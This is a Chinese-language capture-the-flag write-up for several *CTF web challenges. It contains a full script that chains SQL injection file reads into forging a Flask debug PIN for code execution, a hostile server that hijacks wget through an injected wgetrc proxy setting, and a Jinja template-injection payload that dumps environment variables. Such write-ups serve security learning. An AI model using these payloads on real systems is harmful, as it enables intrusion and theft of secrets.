web

oh-my-grafana

CVE-2021-43798 读取文件 + mysql 获取 flag,很简单的一道题目,不多说了。

oh-my-notepro

/view?note_id= 路由存在 sql 注入,database 里没有信息,但是可以报错得到 flask error 界面

利用 sql 读文件并伪造 pin 码进行 python 代码执行

写一个一键脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import random
import string
import requests
import hashlib
from itertools import chain

url = "http://192.168.88.200:5002/"

s = requests.session()

login_data = {
"csrf_token": "IjExZDA2ZTNlYjBkZTk2MmE2NDEzNWNkNDc1M2FhZDZkMTliNmQ3OGUi.Ylp-Mg.Mpa6tdqUj6P43PPMYDwzGZQtDr0",
"username": "rossweisse",
"password": "a",
"submit": "Login!"
}
s.post(url=url + "login", data=login_data)


def get_random():
alphabet = list(string.ascii_lowercase + string.digits)
return ''.join([random.choice(alphabet) for _ in range(32)])


def get_pin(username, mac, machine_id, cgroup):
probably_public_bits = [
username, # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
str(mac), # str(uuid.getnode()), /sys/class/net/ens33/address
machine_id + cgroup # get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv


def create_table(file, table):
sql = f"0';create table if not exists {table}(cmd text);" \
f"load data local infile '{file}' into table {table} fields terminated by '\\n';%23"
path = "view?note_id=" + sql
s.get(url + path)


def get_content(filename):
result = ''
try:
table_name = get_random()
create_table(filename, table_name)
sql = f"0' union select 1,2,3,4,(select group_concat(cmd) from {table_name})%23"
path = "view?note_id=" + sql
res = s.get(url=url + path)
result = res.text.split('<h1 style="text-align: center">')[1].split("\n </h1>")[0][9:]
except Exception as e:
print(e)
# print(f"[+] result now is: {result}")
return result


# get_content("/etc/passwd")
mac = get_content("/sys/class/net/eth0/address")
mac = str(int(mac.replace(":", ""), 16))

machine_id = get_content("/etc/machine-id")
cgroup = get_content("/proc/self/cgroup").rpartition("/")[2]

print("[+] mac is: " + mac) # mac
print("[+] machine-id: " + machine_id) # machine-id
print("[+] cgroup: " + cgroup) # cgroup
print(get_pin('ctf', mac, machine_id, cgroup))

算出 pin 码后调出 console,代码执行获取到 flag

flag: *ctf{exploit_Update_with_Version}

oh-my-lotto

/forecast 路由可以上传文件至 /app/guess/forecast.txt

1
2
3
@app.route("/forecast", methods=['GET', 'POST'])
def forecast():
file.save('/app/guess/forecast.txt')

/result 查看 /app/lotto_result.txt 文件内容

1
2
3
@app.route("/result", methods=['GET'])
def result():
lotto_result = open("/app/lotto_result.txt", 'rb').read().decode()

/lotto 从环境变量中读取 flag,然后比较 forecast.txtlotto_result.txt 文件内容,相等即可获取 flag。

中间调用了 wget 命令获取 lotto_result.txt

wget –content-disposition -N lotto

1
2
3
4
5
6
@app.route("/lotto", methods=['GET', 'POST'])
def lotto():
flag = os.environ['flag']
os.system('wget --content-disposition -N lotto')
if forecast == lotto_result:
return flag

读 wget 命令文档可知,wget 会读取 wgetrc 文件,并读取命令。

https://www.gnu.org/software/wget/manual/wget.html#Wgetrc-Location

而我们可以通过更改环境变量 WGETRC 来控制读取的 wgetrc 文件路径。

通过提交 forecast.txt

更改环境变量

来劫持 wget 获取文件 url,提交一个与 forecast.txt 相同内容的 lotto_result.txt 文件

在自己服务器上仿照题目写一个提交脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, make_response
import secrets

app = Flask(__name__)

@app.route("/")
def index():
r = '''http_proxy=http://your_ip:2000'''
# r = open("lotto_result.txt", "rb").read()
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = "attachment; filename=/app/lotto_result.txt"
return response

if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=2000)

提交后 lotto

oh-my-lotto-revenge

利用 wgetrc 中的 output_document 变量,更改模板进行 SSTI

更改 forecast.txt

然后将模板 result.html 更改为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{% extends "base.html" %}

{% block body %}
<div class="main">
<div class="message-card nes-container with-title is-centered is-dark">
<p class="title">*CTF LOTTO</p>
<p>
This is last turn lotto result, maybe it can help you to forecast next turn. :)
</p>
{{config.__class__.__init__.__globals__['os'].popen('env').read()}}

{% if message%}
<p>{{message}}</p>
{% endif %}
</div>


</div>
<div class="empty"></div>
<div class="footer">© *CTF</div>
{% endblock %}

服务器上运行脚本,提交,在模板中得到环境变量